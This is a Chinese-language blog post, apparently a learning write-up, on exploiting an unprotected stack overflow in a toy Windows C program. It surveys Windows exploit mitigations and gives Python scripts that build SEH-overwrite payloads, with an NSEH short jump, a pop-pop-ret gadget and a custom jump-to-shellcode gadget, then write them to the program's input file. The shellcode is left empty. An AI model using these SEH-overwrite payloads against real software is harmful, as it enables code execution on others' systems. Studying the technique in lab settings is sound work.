Joe1sn's Cabinet

【Win Pwn】基础栈溢出利用

[Win Pwn] 基础栈溢出利用

window下无保护的栈溢出加载shellcode

程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln()
{
char password[6] = "ABCDE";
char str[6];
FILE *fp;
if(!(fp=fopen("password.txt","r")))
exit(0);
fscanf(fp,"%s",str);

str[5]='\0';
if(strcmp(str,password)==0)
// fprintf(stderr,"OK.\n");
printf("OK.\n");
else
// fprintf(stderr,"NO.\n");
printf("NO.\n");
}

int main()
{
vuln();
return 0;
}

在windows下的防护等级有

  • ASLR
    • /DYNAMICBASE 带有剥离的重定位条目边缘情况
    • /HIGHENTROPYVA for 64-bit systems
  • Code integrity/signing:
    • /INTEGRITYCHECK
    • 使用有效(可信、活动)证书进行 Authenticode 签名(Linux 目前不支持)
  • DEP
    • 别称:W^X, NX
  • Manifest isolation
    • /ALLOWISOLATION
  • SEHSafeEH
    • SEH=Structured Exception Handling
  • Control Flow GuardReturn Flow Guard instrumentation
  • Stack cookie
    • /GS
  1. ASLR:与Linux的PIE相同,指地址随机化,将在程序启动时将DLL随机的加载到内存中的未知,自Windows 10开始已经在系统中被配置为默认启动;

  2. High Entropy VA:高熵64位地址空间布局随机化,开启后标识此程序的随机化取值空间为64 bit,这会导致攻击者更难去推测随机化后的地址;

  3. Force Integrity:强制签名保护,开启后标识程序加载时需要验证其中的前命,如果签名不正确,程序将会被阻止运行;

  4. Isolation:隔离保护,开启后表示此程序加载时将会在一个相对独立的隔离环境中被加载,从而阻止攻击者过度提升权限;

  5. NX/DEP/PAE:NX保护指的是内存页不可运行。属于系统级的内存保护功能,能够将一页或多页标记为不可执行,从而防止从该内存区域运行代码,以帮助防止利用缓冲区溢出。防止代码在数据页面(例如堆、栈和内存池)中运行,在Windows中常称为DEP。

    PAE指物理地址拓展,PAE是一项处理器功能,使x86处理器可以在部分windows版本上访问4 GB以上的物理内存。在基于x86的系统上运行的某些32位版本的Windows Server可以使用PAE访问最多64 GB或128 GB的物理内存,具体取决于处理器的物理地址大小。使用PAE,操作系统将从两级线性地址转换为三级地址转换。两级线性地址转换将线性地址拆分为3个独立的字段索引到内存表中,三级地址转换将其拆分为4个独立的字段:一个2位字段,两个9位字段和一个12位字段。PAE模式下的页表条目(PTE)和页目录条目(PDE)的大小从32位增加到64位。附加位允许操作系统PTE或PDE引用4 GB以上的物理内存,同时PAE将允许在基于x86的系统上运行32位windows中启用DEP等功能。

  6. SEHOP:即结构化异常处理保护(structured Exception Handling Overwrite Protection),这个保护能够防止攻击者利用结构化异常处理来进行进一步的利用。

  7. CFG:即控制流防护这项技术通过在间接跳转前插入校验代码,检查目标地址的有效性,进而可以阻止执行流跳转到预期之外的地点,最终及时有效的进行异常处理,避免引发相关的安全问题。

  8. RFG:即返回地址防护,在每个函数头部将返回地址保存到 fs:[rsp](thread control stack),并在函数返回前将其与栈上返回地址进行比较,从而有效阻止攻击;

  9. SafeSEH:安全结构化异常处理(Safe Structured Exception Handlers),白名单版的安全沙箱,定义一些异常处理程序,并基于此构造安全结构化异常处理表,程序运行后,安全结构化异常处理表之外的异常处理程序将会被阻止运行;

  10. GS:类似于Linux中的Canary保护,开启后,会在返回地址和BP之前压入一个额外的 Security Cookie,系统会比较栈中的这个值和原先存放在 .data中的值做一个比较,如果两者不吻合,则说明发生了栈溢出;

  11. Authenticode:签名保护;

  12. .NET:DLL混淆级保护

你可以查看文件头进行识别,也可以使用winchecksec进行识别

image-20230707130719644

非常明显的漏洞点

漏洞分析

GCC编译gcc .\main.c -o shellcode

image-20230707130122963

先试一下跳转,加上覆盖ebp的空间大小是0x1c

image-20230707131904489

加载shellcode

现在想办法布置shellcode,由于没有后门函数所以需要利用SEH进行shellcode的布置。

栈中的 SEH Handle 存储的形式

img

基本的布置方式如下,实战的可以参考CVE-2019-9766简单栈溢出

img

使用x32dbg调试得到SEH链,然后得出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload = b""

shellcode = b""

offset = b"A"*0x11c #0x1c
test_func = b"\xc4\x16\x40\x00" #004016C4
NSEH = b"\xeb\x06\x90\x90" #asm("jmp 6;nop;nop")
gadget = b"\xee\x19\x40\x00" #004019EE 00402537 004017EE
nops = b"\x90"*5 #nops

payload = offset+NSEH+gadget+shellcode

with open("password.txt","wb") as f:
f.write(payload)

使用了gadget,进行两次pop抬栈,这样就能滑行到shellcode

image-20230708144240496

gadget过后的跳转

image-20230708144321174

但是shellcode长度有限制,所以很寄

img

但是我们执行一小段shellcode,那么可以尝试自己写gadget,将shellcode写入在payload前段,然后利用SEH到自己写的gadget,最后跳转到shellcode,需要注意的是程序会把第五位归0,所以要注意。

在使用fscanf函数读取字符串时,以下特殊字符可能会导致读取失败或产生意外的结果:

  1. 空格 (0x20)
  2. 制表符 (0x09)
  3. 换行符 (0x0A)
  4. 回车符 (0x0D)

这块儿就只有自己根据实际情况改进shellcode了。

那么我稍微改进一下源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void hacked()
{
printf("Hacked\n");
}

void vuln()
{
char password[6] = "ABCDE";
char str[6];
FILE *fp;
if(!(fp=fopen("password.txt","r")))
exit(0);
fgets(str, 0x1000, fp);

str[5]='\0';
if(strcmp(str,password)==0)
// fprintf(stderr,"OK.\n");
printf("OK.\n");
else
// fprintf(stderr,"NO.\n");
printf("NO.\n");
}

int main()
{
vuln();
return 0;
}

由于栈比较小,可以考虑自己写入gadget来帮助shellcode的跳转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from ae64 import AE64

payload = b""
shellcode = b""

offset = b"A"*(0x11c-len(shellcode)-16) #0x1c
test_func = b"\xc4\x16\x40\x00" #004016C4
NSEH = b"\xeb\x06\x90\x90" #asm("jmp 6;nop;nop")
gadget = b"\xee\x19\x40\x00" #004019EE 00402537 004017EE
self_gadget = b"\x89\xE0\x05\x14\x06\x00\x00\xFF\xE0"
# mov eax, esp
# sub eax, 0x608
# jmp eax
payload = b"\xaa"*16+shellcode+offset+NSEH+gadget+self_gadget

with open("password.txt","wb") as f:
f.write(payload)

img